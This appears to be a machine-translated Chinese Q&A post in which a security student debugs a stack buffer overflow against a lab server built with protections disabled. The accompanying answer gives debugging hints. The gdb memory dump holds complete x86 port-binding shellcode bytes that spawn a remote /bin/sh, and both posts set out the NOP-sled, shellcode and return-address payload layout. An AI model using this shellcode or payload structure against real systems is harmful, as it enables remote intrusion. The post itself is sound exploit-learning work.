我是一名计算机安全学生,我正在做一个关于远程缓冲区溢出的项目。我在C中开发了一个易受攻击的服务器,不安全地使用strncpy函数,它实际上在512字节缓冲区上复制了1024个字节,并利用漏洞来测试漏洞。
我的服务器代码的结构基本上是这样的:
main()
{
/* socket programming stuff here */
/* accept input string with busy waiting loop */
/* call vulnerable function to process string */
/* the rest of the code should be never executed if attack succeeds*/
}
vuln (descriptor, pointer to buffer)
{
/* copies to smaller buffer overflowing it to overwrite return address */
/* call other_function */
/* returns control to main */
}
other_function()
{
/* do other stuff */
}
我用-fno-stack-protector,-static和-z execstack标志编译它,我也在我的Ubuntu机器上关闭了ASLR。
一般的想法是执行一个简单的端口绑定shellcode并获得一个远程shell。问题是我继续在gdb上得到以下错误:
” 警告: 无法插入断点0。 访问内存地址时出错0x90909090:输入/输出错误。
0xbfffec8c在? () “
恢复从易受攻击的函数到调用main的执行流程的返回地址位于地址0xbfffedc4:
0xbfffedbc:0x08049940 0xbffff258 0x08049097 0x00000008
我设法用一个指向我的nop雪橇的有意义的地址覆盖它,但由于某种原因我无法获得我的机器执行的NOP指令以最终到达shellcode。恶意缓冲区的总体布局是:
[nop sled(大约420字节)] [shellcode] [重复ret addr] 0xbfffebbc - 0xbfffed5c 0xbfffed60 0xbfffedbc - 0xbfffefb4
...并且EIP被重定向到0xbfffec8c,大致位于NOP雪橇的中间。
在段错误发生后,info r
表示EIP已正确加载所需的地址(0xbfffec8c):
eax 0xffffffff -1
ecx 0x80f3840 135215168
edx 0x61e 1566
ebx 0x0 0
esp 0xbfffedc8 0xbfffedc8
ebp 0xbfffec8c 0xbfffec8c
esi 0x0 0
edi 0xbfffec8c -1073746804
eip 0xbfffec8c 0xbfffec8c
eflags 0x282 [ SF IF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
...如果我反汇编堆栈内存区域,我会得到预期的缓冲区内容(许多0x90后跟我的shellcode):
(gdb) x/128xw 0xbfffec8c
0xbfffec8c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffec9c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffecac: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffecbc: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffeccc: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffecdc: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffecec: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffecfc: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffed0c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffed1c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffed2c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffed3c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffed4c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffed5c: 0x90909090 0x9958666a 0x5243db31 0x026a016a
0xbfffed6c: 0x80cde189 0x58666a96 0x68665243 0x5366697a
0xbfffed7c: 0x106ae189 0xe1895651 0x66b080cd 0x56534343
0xbfffed8c: 0x80cde189 0x524366b0 0xe1895652 0x6a9380cd
0xbfffed9c: 0x3fb05902 0x794980cd 0x520bb0f9 0x732f2f68
0xbfffedac: 0x622f6868 0xe3896e69 0x53e28952 0x80cde189
0xbfffedbc: 0xbfffec8c 0xbfffec8c 0xbfffec8c 0xbfffec8c
请帮助我弄清问题是什么,只是提示我应该寻找什么,如果你能够从我提供的信息中找出问题,而不是确切的解决方案。我不想作弊:)。
感谢您的时间。 亲切的问候, 曼乔
答案 0 :(得分:1)
似乎在执行中的特定点eip有0x90909090,这是在堆栈范围之外的。或者它可以在异常发生后转移代码执行。使用nopseled大小的模式,找到新的“访问内存地址0x__的错误”,找到问题所在的位置
如果我可以说,我没有看到重复返回地址的任何理由。如果你喜欢尝试在eip覆盖后添加shellcode。如果可能的话会更容易(如果缓冲区可以被无限制地覆盖)
在你的情况下,[nop sled(字节直到eip覆盖 - shellcode的字节数)] [shellcode] [eip overwrite value(bfffec8c)] [optional:nopsled]就足够了。